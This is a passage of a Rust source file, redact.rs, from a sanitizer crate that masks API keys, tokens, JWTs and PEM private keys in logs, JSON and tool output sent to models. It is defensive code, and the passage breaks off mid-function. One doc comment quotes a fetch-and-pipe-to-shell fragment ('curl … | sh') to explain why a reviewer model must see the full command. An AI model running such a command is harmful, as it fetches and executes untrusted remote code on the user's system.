返回 CodeWhale
redact.rs
根目录 / crates / sanitize / src / redact.rs
1 //! Pure secret-redaction primitives (FEAT-025 D4).
2 //!
3 //! Relocated verbatim from `codewhale-config::persistence` so the portable
4 //! command sanitizer and the config diagnostic path share exactly one
5 //! implementation. The algorithm, ordering, sensitive-key vocabulary, and
6 //! byte-for-byte results are unchanged; `codewhale-config::persistence`
7 //! re-exports these items to keep its public API stable.
8
9 use std::sync::OnceLock;
10
11 use regex::bytes::Regex;
12
13 /// Hints that mark a config/JSON/env key as carrying a secret value.
14 ///
15 /// Compound hints (`api_key`, `client_secret`) match as a substring of the
16 /// normalized key. Single-word hints (`token`, `secret`, `password`) match a
17 /// whole identifier segment so they describe a credential (`token`,
18 /// `api_token`) and not an English word (`tokens`, `tokenizer`).
19 const SENSITIVE_KEY_HINTS: &[&str] = &[
20 "api_key",
21 "apikey",
22 "api-key",
23 "secret",
24 "token",
25 "password",
26 "passwd",
27 "authorization",
28 "auth_token",
29 "access_key",
30 "client_secret",
31 "private_key",
32 ];
33
34 /// Known opaque-token prefixes worth masking even when they appear bare (not as
35 /// `key = value`). Conservative on purpose: only well-known provider/key shapes.
36 #[cfg(test)]
37 const SECRET_TOKEN_PREFIXES: &[&str] = &["sk-", "sk_", "ghp_", "gho_", "xoxb-", "xoxp-", "pk-"];
38
39 /// The placeholder substituted for any redacted secret value.
40 pub const REDACTED: &str = "[redacted]";
41
42 /// Return a copy of a JSON value with secret-bearing data removed.
43 ///
44 /// Object values whose key contains a sensitive hint are replaced wholesale,
45 /// while all other objects and arrays are traversed recursively. String leaves
46 /// still pass through [`redact_secrets`] so bare provider tokens and embedded
47 /// assignments remain covered without treating the serialized JSON document as
48 /// one flat keyed assignment.
49 #[must_use]
50 pub fn redact_json_secrets(value: &serde_json::Value) -> serde_json::Value {
51 redact_json_secrets_at(value, 0, RedactionPolicy::KeyBased)
52 }
53
54 /// [`redact_json_secrets`] for JSON that a model must still judge exactly,
55 /// such as a tool call sent to a reviewer model.
56 ///
57 /// Values under a sensitive key are still replaced wholesale, but string
58 /// leaves pass through [`redact_model_bound_secrets`]: only credential-shaped
59 /// words are masked. The key-based text pass drops everything after a spaced
60 /// `token = value` to the end of the line, which in a shell command could hide
61 /// the dangerous second half (`token = x; curl … | sh`) from the reviewer.
62 #[must_use]
63 pub fn redact_json_model_bound_secrets(value: &serde_json::Value) -> serde_json::Value {
64 redact_json_secrets_at(value, 0, RedactionPolicy::CredentialShaped)
65 }
66
67 /// Maximum nesting depth the JSON redactor descends. Aligned with
68 /// serde_json's own parse limit so parsed input never truncates; anything
69 /// deeper is redacted wholesale.
70 const MAX_REDACT_JSON_DEPTH: usize = 128;
71
72 fn redact_json_secrets_at(
73 value: &serde_json::Value,
74 depth: usize,
75 policy: RedactionPolicy,
76 ) -> serde_json::Value {
77 redact_json_secrets_inner(value, depth, policy, false)
78 }
79
80 fn redact_json_secrets_inner(
81 value: &serde_json::Value,
82 depth: usize,
83 policy: RedactionPolicy,
84 if_shaped_scope: bool,
85 ) -> serde_json::Value {
86 if depth > MAX_REDACT_JSON_DEPTH {
87 return serde_json::Value::String(REDACTED.to_string());
88 }
89 match value {
90 serde_json::Value::Object(object) => serde_json::Value::Object(
91 object
92 .iter()
93 .map(|(key, value)| {
94 let sensitivity = key_sensitivity(key);
95 let value = match sensitivity {
96 KeySensitivity::Certain => serde_json::Value::String(REDACTED.to_string()),
97 KeySensitivity::IfShaped => {
98 redact_json_secrets_inner(value, depth + 1, policy, true)
99 }
100 KeySensitivity::None => {
101 redact_json_secrets_inner(value, depth + 1, policy, false)
102 }
103 };
104 (key.clone(), value)
105 })
106 .collect(),
107 ),
108 serde_json::Value::Array(items) => serde_json::Value::Array(
109 items
110 .iter()
111 .map(|item| redact_json_secrets_inner(item, depth + 1, policy, if_shaped_scope))
112 .collect(),
113 ),
114 serde_json::Value::String(text) => {
115 if if_shaped_scope && value_looks_like_credential(text) {
116 serde_json::Value::String(REDACTED.to_string())
117 } else {
118 serde_json::Value::String(redact_secrets_with(text, policy))
119 }
120 }
121 scalar => scalar.clone(),
122 }
123 }
124
125 /// Redact secret-bearing values from arbitrary text so it is safe to put in a
126 /// setup report, log line, error message, or test snapshot.
127 ///
128 /// Two passes, both dependency-free:
129 ///
130 /// 1. **Keyed assignments.** Lines or whitespace-delimited inline tokens shaped
131 /// like `key = value`, `key: value`, or `key=value` whose key
132 /// (case-insensitively, ignoring quotes) matches a `SENSITIVE_KEY_HINTS`
133 /// credential identifier have their value replaced with [`REDACTED`]. The
134 /// spaced form (`key = value`) is matched anywhere on the line, not only
135 /// when the sensitive key owns the line's first separator — an `anyhow`
136 /// chain rendered with `{:#}` puts prose and its own `: ` separators in
137 /// front of the assignment, and that must not be a hole. Because such a
138 /// value can span several words (`authorization = Bearer <token>`),
139 /// everything from the value to the end of the line is dropped, exactly as
140 /// the whole-line form already does. Token *counts* in diagnostics
141 /// (`max tokens = 8192`) are not credentials and stay visible.
142 /// 2. **Bare tokens.** Credentials that stand on their own — a known
143 /// `SECRET_TOKEN_PREFIXES` word, a provider-prefixed opaque key
144 /// (`CREDENTIAL_VALUE_PREFIXES`, `xai-`, `nvapi-`, `gsk_`, `hf_`, `pplx-`),
145 /// an AWS access key id, or a JWT — are replaced wherever they sit in a
146 /// word: after `NAME=`, inside quotes or brackets, after a tab, a diff
147 /// marker or `user@`, or in URL userinfo.
148 ///
149 /// The goal is defense in depth: setup state and reports are built from safe
150 /// summaries that never include secrets in the first place, and this is the
151 /// backstop for anything that echoes raw config text.
152 #[must_use]
153 pub fn redact_secrets(input: &str) -> String {
154 redact_secrets_with(input, RedactionPolicy::KeyBased)
155 }
156
157 /// How aggressively [`redact_secrets_with`] treats a sensitive-looking key.
158 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
159 pub enum RedactionPolicy {
160 /// Mask the value of every sensitive-looking key, whatever the value is.
161 /// Right for logs, previews, exports, and diagnostics: a false positive
162 /// costs nothing there and a miss leaks a credential.
163 KeyBased,
164 /// Mask a keyed value only when the value itself looks like a credential
165 /// (known prefix, JWT, bearer token, PEM block, long opaque string).
166 /// Right for text the model must be able to quote back byte-for-byte,
167 /// such as tool results that feed exact-match edits: `password:
168 /// credentials?.password`, `"password-validator": "^5.3.0"`, or
169 /// `token = make_token()` are code, not secrets (#5546).
170 CredentialShaped,
171 }
172
173 /// Redact model-bound tool output: exact configured credential values are the
174 /// caller's job; this masks only values that look like credentials so the
175 /// model keeps seeing the real bytes of ordinary code and config.
176 #[must_use]
177 pub fn redact_model_bound_secrets(input: &str) -> String {
178 redact_secrets_with(input, RedactionPolicy::CredentialShaped)
179 }
180
181 const SIGNAL_PEM: u8 = 1 << 0;
182 const SIGNAL_KEY_HINT: u8 = 1 << 1;
183 const SIGNAL_BARE_TOKEN: u8 = 1 << 2;
184
185 const ANCHOR_DASH: u8 = 1;
186 const ANCHOR_UNDERSCORE: u8 = 2;
187 const ANCHOR_UPPER_J: u8 = 3;
188 const ANCHOR_DIGIT_9: u8 = 4;
189 const ANCHOR_UPPER_I: u8 = 5;
190 const ANCHOR_K: u8 = 6;
191 const ANCHOR_C: u8 = 7;
192 const ANCHOR_W: u8 = 8;
193 const ANCHOR_Z: u8 = 9;
194
195 const ANCHOR_LUT: [u8; 256] = {
196 let mut lut = [0u8; 256];
197 lut[b'-' as usize] = ANCHOR_DASH;
198 lut[b'_' as usize] = ANCHOR_UNDERSCORE;
199 lut[b'J' as usize] = ANCHOR_UPPER_J;
200 lut[b'9' as usize] = ANCHOR_DIGIT_9;
201 lut[b'I' as usize] = ANCHOR_UPPER_I;
202 lut[b'k' as usize] = ANCHOR_K;
203 lut[b'K' as usize] = ANCHOR_K;
204 lut[b'c' as usize] = ANCHOR_C;
205 lut[b'C' as usize] = ANCHOR_C;
206 lut[b'w' as usize] = ANCHOR_W;
207 lut[b'W' as usize] = ANCHOR_W;
208 lut[b'z' as usize] = ANCHOR_Z;
209 lut[b'Z' as usize] = ANCHOR_Z;
210 lut
211 };
212
213 #[inline]
214 fn matches_dash_bare_prefix(bytes: &[u8], i: usize) -> bool {
215 if i < 2 {
216 return false;
217 }
218 match bytes[i - 1] {
219 b'k' => matches!(bytes[i - 2], b's' | b'p'),
220 b'i' => {
221 (i >= 3 && &bytes[i - 3..i - 1] == b"xa") || (i >= 5 && &bytes[i - 5..i - 1] == b"nvap")
222 }
223 b'a' | b'b' | b'r' | b's' => i >= 4 && &bytes[i - 4..i - 1] == b"xox",
224 b'p' => i >= 4 && (&bytes[i - 4..i - 1] == b"xox" || &bytes[i - 4..i - 1] == b"xap"),
225 b'x' => i >= 4 && &bytes[i - 4..i - 1] == b"ppl",
226 b't' => i >= 5 && &bytes[i - 5..i - 1] == b"glpa",
227 _ => false,
228 }
229 }
230
231 #[inline]
232 fn matches_underscore_bare_prefix(bytes: &[u8], i: usize) -> bool {
233 if i < 2 {
234 return false;
235 }
236 match bytes[i - 1] {
237 b'k' => bytes[i - 2] == b's',
238 b'f' => bytes[i - 2] == b'h',
239 b'p' | b'o' | b'u' | b's' | b'r' => i >= 3 && &bytes[i - 3..i - 1] == b"gh",
240 b'm' => i >= 3 && &bytes[i - 3..i - 1] == b"np",
241 b't' => i >= 10 && &bytes[i - 10..i - 1] == b"github_pa",
242 _ => false,
243 }
244 }
245
246 #[inline]
247 fn matches_upper_i_bare_prefix(bytes: &[u8], i: usize) -> bool {
248 (i >= 1 && i + 3 <= bytes.len() && bytes[i - 1] == b'A' && &bytes[i + 1..i + 3] == b"za")
249 || (i >= 2
250 && i + 2 <= bytes.len()
251 && bytes[i - 2] == b'A'
252 && matches!(bytes[i - 1], b'K' | b'S')
253 && bytes[i + 1] == b'A')
254 }
255
256 fn has_key_compound_prefix(bytes: &[u8]) -> bool {
257 for (j, &b) in bytes.iter().enumerate() {
258 match b {
259 b'p' | b'P' => {
260 if j >= 1
261 && j + 2 <= bytes.len()
262 && bytes[j - 1..j + 2].eq_ignore_ascii_case(b"api")
263 {
264 return true;
265 }
266 if j + 7 <= bytes.len() && bytes[j..j + 7].eq_ignore_ascii_case(b"private") {
267 return true;
268 }
269 }
270 b'c' | b'C'
271 if j >= 1
272 && j + 5 <= bytes.len()
273 && bytes[j - 1..j + 5].eq_ignore_ascii_case(b"access") =>
274 {
275 return true;
276 }
277 _ => {}
278 }
279 }
280 false
281 }
282
283 fn line_bounds_at(bytes: &[u8], from: usize, pos: usize) -> (usize, usize) {
284 let line_start = bytes[from..pos]
285 .iter()
286 .rposition(|&b| b == b'\n')
287 .map_or(from, |rel| from + rel + 1);
288 let line_end = bytes[pos..]
289 .iter()
290 .position(|&b| b == b'\n')
291 .map_or(bytes.len(), |rel| pos + rel + 1);
292 (line_start, line_end)
293 }
294
295 fn scan_line_signals(bytes: &[u8]) -> u8 {
296 let mut signals = 0u8;
297 let mut key_prefix_checked = 0usize;
298 let mut has_key_prefix = false;
299 let all = SIGNAL_PEM | SIGNAL_KEY_HINT | SIGNAL_BARE_TOKEN;
300 for (i, &b) in bytes.iter().enumerate() {
301 let tag = ANCHOR_LUT[b as usize];
302 if tag == 0 {
303 continue;
304 }
305 match tag {
306 ANCHOR_DASH => {
307 if (signals & SIGNAL_PEM) == 0
308 && i + 10 <= bytes.len()
309 && bytes[i + 1] == b'-'
310 && &bytes[i..i + 10] == b"-----BEGIN"
311 {
312 signals |= SIGNAL_PEM;
313 }
314 if (signals & SIGNAL_BARE_TOKEN) == 0 && matches_dash_bare_prefix(bytes, i) {
315 signals |= SIGNAL_BARE_TOKEN;
316 }
317 }
318 ANCHOR_UNDERSCORE => {
319 if (signals & SIGNAL_BARE_TOKEN) == 0 && matches_underscore_bare_prefix(bytes, i) {
320 signals |= SIGNAL_BARE_TOKEN;
321 }
322 }
323 ANCHOR_UPPER_J => {
324 if (signals & SIGNAL_BARE_TOKEN) == 0 && i >= 2 && &bytes[i - 2..i] == b"ey" {
325 signals |= SIGNAL_BARE_TOKEN;
326 }
327 }
328 ANCHOR_DIGIT_9 => {
329 if (signals & SIGNAL_BARE_TOKEN) == 0
330 && i >= 3
331 && i + 2 <= bytes.len()
332 && &bytes[i - 3..i] == b"ya2"
333 && bytes[i + 1] == b'.'
334 {
335 signals |= SIGNAL_BARE_TOKEN;
336 }
337 }
338 ANCHOR_UPPER_I => {
339 if (signals & SIGNAL_BARE_TOKEN) == 0 && matches_upper_i_bare_prefix(bytes, i) {
340 signals |= SIGNAL_BARE_TOKEN;
341 }
342 }
343 ANCHOR_K => {
344 if (signals & SIGNAL_KEY_HINT) == 0 {
345 if i >= 2
346 && i + 3 <= bytes.len()
347 && bytes[i - 2..i + 3].eq_ignore_ascii_case(b"token")
348 {
349 signals |= SIGNAL_KEY_HINT;
350 } else if i + 3 <= bytes.len() && bytes[i..i + 3].eq_ignore_ascii_case(b"key") {
351 if !has_key_prefix {
352 let start = key_prefix_checked.saturating_sub(6);
353 if has_key_compound_prefix(&bytes[start..i]) {
354 has_key_prefix = true;
355 }
356 key_prefix_checked = i;
357 }
358 if has_key_prefix {
359 signals |= SIGNAL_KEY_HINT;
360 }
361 }
362 }
363 }
364 ANCHOR_C => {
365 if (signals & SIGNAL_KEY_HINT) == 0
366 && i >= 2
367 && i + 4 <= bytes.len()
368 && bytes[i - 2..i + 4].eq_ignore_ascii_case(b"secret")
369 {
370 signals |= SIGNAL_KEY_HINT;
371 }
372 }
373 ANCHOR_W => {
374 if (signals & SIGNAL_KEY_HINT) == 0
375 && i >= 4
376 && bytes[i - 4..i].eq_ignore_ascii_case(b"pass")
377 {
378 signals |= SIGNAL_KEY_HINT;
379 }
380 }
381 ANCHOR_Z
382 if (signals & SIGNAL_KEY_HINT) == 0
383 && i >= 7
384 && i + 6 <= bytes.len()
385 && bytes[i - 7..i + 6].eq_ignore_ascii_case(b"authorization") =>
386 {
387 signals |= SIGNAL_KEY_HINT;
388 }
389 _ => {}
390 }
391 if signals == all {
392 break;
393 }
394 }
395 signals
396 }
397
398 fn trigger_prefilter() -> &'static Regex {
399 static RE: OnceLock<Regex> = OnceLock::new();
400 RE.get_or_init(|| {
401 Regex::new(
402 r"(?-u)(?:-----BEGIN|sk-|sk_|pk-|pplx-|glpat-|xai-|nvapi-|xapp-|xox[abprs]-|gh[pousr]_|gsk_|npm_|hf_|github_pat_|A[KS]IA|AIza|ya29\.|eyJ|(?i:token|secret|passw|authorization|(?:api|access|private)[^A-Za-z0-9\n]*key))",
403 )
404 .expect("redaction trigger prefilter")
405 })
406 }
407
408 fn bare_token_prefilter() -> &'static Regex {
409 static RE: OnceLock<Regex> = OnceLock::new();
410 RE.get_or_init(|| {
411 Regex::new(
412 r"(?-u)(?:sk-|sk_|pk-|pplx-|glpat-|xai-|nvapi-|xapp-|xox[abprs]-|gh[pousr]_|gsk_|npm_|hf_|github_pat_|A[KS]IA|AIza|ya29\.|eyJ)",
413 )
414 .expect("bare token prefilter")
415 })
416 }
417
418 fn find_next_trigger_line(bytes: &[u8], from: usize) -> Option<(usize, usize, u8)> {
419 let matched = trigger_prefilter().find(&bytes[from..])?;
420 let (line_start, line_end) = line_bounds_at(bytes, from, from + matched.start());
421 let signals = scan_line_signals(&bytes[line_start..line_end]);
422 Some((line_start, line_end, signals))
423 }
424
425 /// [`redact_secrets`] with an explicit [`RedactionPolicy`].
426 #[must_use]
427 pub fn redact_secrets_with(input: &str, policy: RedactionPolicy) -> String {
428 let bytes = input.as_bytes();
429 let mut out: Option<String> = None;
430 let mut copied_until = 0usize;
431 let mut cursor = 0usize;
432 let mut in_private_key_block = false;
433
434 while cursor < bytes.len() {
435 if in_private_key_block {
436 let line_end = bytes[cursor..]
437 .iter()
438 .position(|&b| b == b'\n')
439 .map_or(bytes.len(), |rel| cursor + rel + 1);
440 let line = &input[cursor..line_end];
441 let rest_of_input = &input[line_end..];
442 let body = line.strip_suffix('\n').unwrap_or(line);
443 let trimmed = body.trim();
444 if trimmed.contains(PRIVATE_KEY_FOOTER) {
445 in_private_key_block = false;
446 let line_signals = scan_line_signals(line.as_bytes());
447 if (line_signals & SIGNAL_PEM) != 0
448 && let Some(redacted) = redact_private_key_line(line, policy, rest_of_input)
449 {
450 in_private_key_block = redacted.opens_block;
451 let buf = out.get_or_insert_with(|| String::with_capacity(input.len()));
452 buf.push_str(&input[copied_until..cursor]);
453 buf.push_str(&redacted.text);
454 copied_until = line_end;
455 } else if line_signals != 0
456 && let Some(redacted) = redact_line_with_signals(line, policy, line_signals)
457 {
458 let buf = out.get_or_insert_with(|| String::with_capacity(input.len()));
459 buf.push_str(&input[copied_until..cursor]);
460 buf.push_str(&redacted);
461 copied_until = line_end;
462 }
463 } else {
464 let buf = out.get_or_insert_with(|| String::with_capacity(input.len()));
465 buf.push_str(&input[copied_until..cursor]);
466 buf.push_str(REDACTED);
467 if line.ends_with('\n') {
468 buf.push('\n');
469 }
470 copied_until = line_end;
471 }
472 cursor = line_end;
473 continue;
474 }
475
476 let Some((line_start, line_end, line_signals)) = find_next_trigger_line(bytes, cursor)
477 else {
478 break;
479 };
480 let line = &input[line_start..line_end];
481 let rest_of_input = &input[line_end..];
482 if (line_signals & SIGNAL_PEM) != 0
483 && let Some(redacted) = redact_private_key_line(line, policy, rest_of_input)
484 {
485 in_private_key_block = redacted.opens_block;
486 let buf = out.get_or_insert_with(|| String::with_capacity(input.len()));
487 buf.push_str(&input[copied_until..line_start]);
488 buf.push_str(&redacted.text);
489 copied_until = line_end;
490 cursor = line_end;
491 continue;
492 }
493 if line_signals != 0
494 && let Some(redacted) = redact_line_with_signals(line, policy, line_signals)
495 {
496 let buf = out.get_or_insert_with(|| String::with_capacity(input.len()));
497 buf.push_str(&input[copied_until..line_start]);
498 buf.push_str(&redacted);
499 copied_until = line_end;
500 }
501 cursor = line_end;
502 }
503
504 match out {
505 Some(mut buf) => {
506 buf.push_str(&input[copied_until..]);
507 buf
508 }
509 None => input.to_string(),
510 }
511 }
512
513 struct PrivateKeyLine {
514 text: String,
515 opens_block: bool,
516 }
517
518 const PRIVATE_KEY_HEADER_START: &str = "-----BEGIN";
519 const PRIVATE_KEY_LABEL: &str = "PRIVATE KEY";
520 const PRIVATE_KEY_LABEL_WINDOW: usize = 48;
521 const PRIVATE_KEY_FOOTER: &str = "-----END";
522 const PEM_DASHES: &str = "-----";
523
524 #[derive(Clone, Copy, PartialEq, Eq)]
525 enum UnclosedPrivateKey {
526 ToEnd,
527 OpensBlock,
528 }
529
530 fn private_key_header_end(text: &str, begin: usize) -> Option<usize> {
531 let label_start = begin + PRIVATE_KEY_HEADER_START.len();
532 let mut window_end = text.len().min(label_start + PRIVATE_KEY_LABEL_WINDOW);
533 while !text.is_char_boundary(window_end) {
534 window_end -= 1;
535 }
536 let window = &text[label_start..window_end];
537 let label = window.find(PRIVATE_KEY_LABEL)?;
538 if window[..label].contains(PEM_DASHES) {
539 return None;
540 }
541 let mut end = label_start + label + PRIVATE_KEY_LABEL.len();
542 if let Some(rest) = text[end..].strip_prefix(" BLOCK") {
543 end = text.len() - rest.len();
544 }
545 if text[end..].starts_with(PEM_DASHES) {
546 end += PEM_DASHES.len();
547 }
548 Some(end)
549 }
550
551 fn mask_private_key_spans(
552 text: &str,
553 placeholder: &str,
554 unclosed: UnclosedPrivateKey,
555 rest_of_input: &str,
556 ) -> Option<(String, bool)> {
557 if !text.contains(PRIVATE_KEY_HEADER_START) {
558 return None;
559 }
560 let mut out = String::with_capacity(text.len());
561 let mut cursor = 0;
562 let mut changed = false;
563 let mut opens_block = false;
564 let mut upcoming_body: Option<bool> = None;
565 while let Some(found) = text[cursor..].find(PRIVATE_KEY_HEADER_START) {
566 let begin = cursor + found;
567 let Some(header_end) = private_key_header_end(text, begin) else {
568 let skip = begin + PRIVATE_KEY_HEADER_START.len();
569 out.push_str(&text[cursor..skip]);
570 cursor = skip;
571 continue;
572 };
573 out.push_str(&text[cursor..header_end]);
574 match text[header_end..].find(PRIVATE_KEY_FOOTER) {
575 Some(footer) => {
576 let key_body = &text[header_end..header_end + footer];
577 if key_body.trim().is_empty() {
578 out.push_str(key_body);
579 } else {
580 out.push_str(placeholder);
581 changed = true;
582 }
583 cursor = header_end + footer;
584 }
585 None => {
586 let before = text[..begin].trim();
587 let after = &text[header_end..];
588 let mut opens_line =
589 before.is_empty() || before.ends_with(PEM_DASHES) || looks_like_pem_body(after);
590 if !opens_line
591 && unclosed == UnclosedPrivateKey::OpensBlock
592 && ends_after_header(after)
593 {
594 opens_line =
595 *upcoming_body.get_or_insert_with(|| has_upcoming_pem_body(rest_of_input));
596 }
597 if unclosed == UnclosedPrivateKey::ToEnd || opens_line {
598 let key_body = &text[header_end..];
599 if key_body.trim().is_empty() {
600 out.push_str(key_body);
601 } else {
602 out.push_str(placeholder);
603 changed = true;
604 }
605 cursor = text.len();
606 opens_block = unclosed == UnclosedPrivateKey::OpensBlock;
607 changed |= opens_block;
608 } else {
609 cursor = header_end;
610 }
611 break;
612 }
613 }
614 }
615 if !changed {
616 return None;
617 }
618 out.push_str(&text[cursor..]);
619 Some((out, opens_block))
620 }
621
622 fn looks_like_pem_body(line: &str) -> bool {
623 let mut run = 0usize;
624 for c in line.chars() {
625 if c.is_ascii_alphanumeric() || matches!(c, '+' | '/' | '=') {
626 run += 1;
627 if run >= 24 {
628 return true;
629 }
630 } else {
631 run = 0;
632 }
633 }
634 let core = strip_pem_line_wrapper(line);
635 core.len() >= 16
636 && core
637 .chars()
638 .all(|c| c.is_ascii_alphanumeric() || matches!(c, '+' | '/' | '='))
639 && core
640 .chars()
641 .any(|c| c.is_ascii_uppercase() || c.is_ascii_digit() || matches!(c, '+' | '/' | '='))
642 }
643
644 fn has_upcoming_pem_body(rest: &str) -> bool {
645 for line in rest.split_inclusive('\n') {
646 if looks_like_pem_body(line) {
647 return true;
648 }
649 if !is_pem_preamble_line(line) {
650 return false;
651 }
652 }
653 false
654 }
655
656 fn strip_pem_line_wrapper(line: &str) -> &str {
657 let line = line.trim_end_matches(['\n', '\r']);
658 let mut s = line.trim_start();
659 if let Some((num, rest)) = s.split_once('│')
660 && num.len() <= 12
661 && !num.trim().is_empty()
662 && num.trim().chars().all(|c| c.is_ascii_digit())
663 {
664 s = rest.trim_start();
665 } else if let Some((num, rest)) = s.split_once('\t')
666 && !num.is_empty()
667 && num.chars().all(|c| c.is_ascii_digit())
668 {
669 s = rest.trim_start();
670 } else if let Some(first_space) = s.find(char::is_whitespace).or(Some(s.len()))
671 && let Some((file, rest)) = s[..first_space].split_once(':')
672 && !file.is_empty()
673 && let Some((digits, _)) = rest.split_once(':')
674 && !digits.is_empty()
675 && digits.chars().all(|c| c.is_ascii_digit())
676 {
677 let consumed = file.len() + 1 + digits.len() + 1;
678 s = s[consumed..].trim_start();
679 }
680 if let Some(rest) = s.strip_prefix(['+', '-', '>', '#']) {
681 s = rest.trim_start();
682 }
683 let mut rest = s.trim();
684 loop {
685 let trimmed =
686 rest.trim_matches(|c: char| c.is_whitespace() || matches!(c, '"' | '\'' | '\\'));
687 let without_concat = trimmed.strip_suffix('+').map_or(trimmed, str::trim_end);
688 let without_escape = without_concat
689 .strip_suffix("\\u000a")
690 .or_else(|| without_concat.strip_suffix("\\u000A"))
691 .or_else(|| without_concat.strip_suffix("\\u000d"))
692 .or_else(|| without_concat.strip_suffix("\\u000D"))
693 .or_else(|| without_concat.strip_suffix("\\n"))
694 .or_else(|| without_concat.strip_suffix("\\r"))
695 .unwrap_or(without_concat);
696 if without_escape.len() == rest.len() {
697 return without_escape;
698 }
699 rest = without_escape;
700 }
701 }
702
703 fn is_pem_armor_header_key(key: &str) -> bool {
704 matches!(
705 key.to_ascii_lowercase().as_str(),
706 "version" | "comment" | "messageid" | "hash" | "charset" | "proc-type" | "dek-info"
707 )
708 }
709
710 fn is_pem_preamble_line(line: &str) -> bool {
711 let raw = line.trim_end_matches(['\n', '\r']);
712 if raw.contains(PRIVATE_KEY_HEADER_START) || raw.contains(PRIVATE_KEY_FOOTER) {
713 return false;
714 }
715 let rest = strip_pem_line_wrapper(raw);
716 if rest.is_empty() {
717 return true;
718 }
719 let Some((key, value)) = rest.split_once(':') else {
720 return false;
721 };
722 !value.starts_with("//")
723 && (!rest.contains("://") || is_pem_armor_header_key(key))
724 && !rest.ends_with(['{', ';'])
725 && !key.is_empty()
726 && key.chars().all(|c| c.is_ascii_alphanumeric() || c == '-')
727 && !key.chars().all(|c| c.is_ascii_digit())
728 }
729
730 fn ends_after_header(rest: &str) -> bool {
731 let mut chars = rest.chars().peekable();
732 while let Some(c) = chars.next() {
733 if c == '/' && chars.peek() == Some(&'/') || c == '#' {
734 return true;
735 }
736 if c == '\\' {
737 match chars.peek() {
738 Some('n' | 'r') => {
739 chars.next();
740 continue;
741 }
742 Some('u') => {
743 chars.next();
744 let hex: String = chars.by_ref().take(4).collect();
745 if hex.len() == 4
746 && hex.chars().all(|h| h.is_ascii_hexdigit())
747 && matches!(hex.to_ascii_lowercase().as_str(), "000a" | "000d")
748 {
749 continue;
750 }
751 return false;
752 }
753 _ => {}
754 }
755 }
756 if c.is_ascii_alphanumeric() {
757 return false;
758 }
759 }
760 true
761 }
762
763 fn redact_private_key_line(
764 line: &str,
765 policy: RedactionPolicy,
766 rest_of_input: &str,
767 ) -> Option<PrivateKeyLine> {
768 if !line.contains(PRIVATE_KEY_HEADER_START) {
769 return None;
770 }
771 let (body, newline) = match line.strip_suffix('\n') {
772 Some(rest) => (rest, "\n"),
773 None => (line, ""),
774 };
775 let (mut masked, opens_block) = mask_private_key_spans(
776 body,
777 REDACTED,
778 UnclosedPrivateKey::OpensBlock,
779 rest_of_input,
780 )?;
781 masked.push_str(newline);
782 let signals = scan_line_signals(masked.as_bytes());
783 let text = if signals != 0
784 && let Some(redacted) = redact_line_with_signals(&masked, policy, signals)
785 {
786 redacted
787 } else {
788 masked
789 };
790 Some(PrivateKeyLine { text, opens_block })
791 }
792
793 /// Mask the body of every private-key PEM in `text` — one-line PEMs, PEMs
794 /// embedded in JSON or after `NAME=`, and a PGP private key block — and
795 /// return the result, or `None` when `text` holds none. A header with no
796 /// footer masks everything after it.
797 #[must_use]
798 pub fn mask_private_keys(text: &str, placeholder: &str) -> Option<String> {
799 mask_private_key_spans(text, placeholder, UnclosedPrivateKey::ToEnd, "")
800 .map(|(masked, _)| masked)
801 }
802
803 #[derive(Clone, Copy)]
804 struct SanitizeContainerArm {
805 close: char,
806 sensitivity: KeySensitivity,
807 in_object: bool,
808 }
809
810 const MAX_SANITIZE_CONTAINER_DEPTH: usize = 64;
811
812 fn pop_sanitize_containers(containers: &mut Vec<SanitizeContainerArm>, token: &str) {
813 for ch in token.chars() {
814 if matches!(ch, ']' | '}')
815 && let Some(pos) = containers.iter().rposition(|c| c.close == ch)
816 {
817 containers.truncate(pos);
818 }
819 }
820 }
821
822 fn push_word_replacement(
823 out: &mut Option<String>,
824 copied_until: &mut usize,
825 body: &str,
826 newline_len: usize,
827 tok_start: usize,
828 tok_end: usize,
829 replacement: &str,
830 ) {
831 let buf = out.get_or_insert_with(|| String::with_capacity(body.len() + newline_len));
832 buf.push_str(&body[*copied_until..tok_start]);
833 buf.push_str(replacement);
834 *copied_until = tok_end;
835 }
836
837 fn redact_line_with_signals(
838 line: &str,
839 policy: RedactionPolicy,
840 line_signals: u8,
841 ) -> Option<String> {
842 let (body, newline) = match line.strip_suffix('\n') {
843 Some(rest) => (rest, "\n"),
844 None => (line, ""),
845 };
846
847 let has_key_hint = (line_signals & SIGNAL_KEY_HINT) != 0;
848 let has_bare_token = (line_signals & SIGNAL_BARE_TOKEN) != 0;
849
850 if !has_bare_token
851 && !body
852 .as_bytes()
853 .iter()
854 .any(|&b| matches!(b, b'=' | b':' | b'-'))
855 {
856 return None;
857 }
858
859 if has_key_hint && let Some(mut redacted) = redact_keyed_assignment(body, policy) {
860 redacted.push_str(newline);
861 return Some(redacted);
862 }
863
864 let bytes = body.as_bytes();
865 let mut i = 0;
866 while i < bytes.len() && matches!(bytes[i], b' ' | b'\t') {
867 i += 1;
868 }
869
870 let mut out: Option<String> = None;
871 let mut copied_until = 0usize;
872
873 if !has_key_hint {
874 if !has_bare_token {
875 return None;
876 }
877 while i < bytes.len() {
878 let tok_start = i;
879 while i < bytes.len() && !matches!(bytes[i], b' ' | b'\t') {
880 i += 1;
881 }
882 let tok_end = i;
883 while i < bytes.len() && matches!(bytes[i], b' ' | b'\t') {
884 i += 1;
885 }
886 if tok_end - tok_start < 9 {
887 continue;
888 }
889 let word = &body[tok_start..tok_end];
890 let trimmed = trim_word_punctuation(word);
891 let has_structural = contains_structural_delimiter(trimmed.as_bytes());
892 if !has_structural {
893 if let Some(redacted) = mask_bare_secret_tokens(trimmed, REDACTED) {
894 push_word_replacement(
895 &mut out,
896 &mut copied_until,
897 body,
898 newline.len(),
899 tok_start,
900 tok_end,
901 &word.replace(trimmed, &redacted),
902 );
903 } else if let Some(core) = secret_token_core(trimmed) {
904 push_word_replacement(
905 &mut out,
906 &mut copied_until,
907 body,
908 newline.len(),
909 tok_start,
910 tok_end,
911 &word.replacen(core, REDACTED, 1),
912 );
913 }
914 } else if let Some(core) = secret_token_core(trimmed) {
915 push_word_replacement(
916 &mut out,
917 &mut copied_until,
918 body,
919 newline.len(),
920 tok_start,
921 tok_end,
922 &word.replacen(core, REDACTED, 1),
923 );
924 } else if let Some(redacted) = redact_structured_word_with(trimmed, policy, true, false)
925 {
926 push_word_replacement(
927 &mut out,
928 &mut copied_until,
929 body,
930 newline.len(),
931 tok_start,
932 tok_end,
933 &word.replace(trimmed, &redacted),
934 );
935 } else if let Some(redacted) = mask_bare_secret_tokens(word, REDACTED) {
936 push_word_replacement(
937 &mut out,
938 &mut copied_until,
939 body,
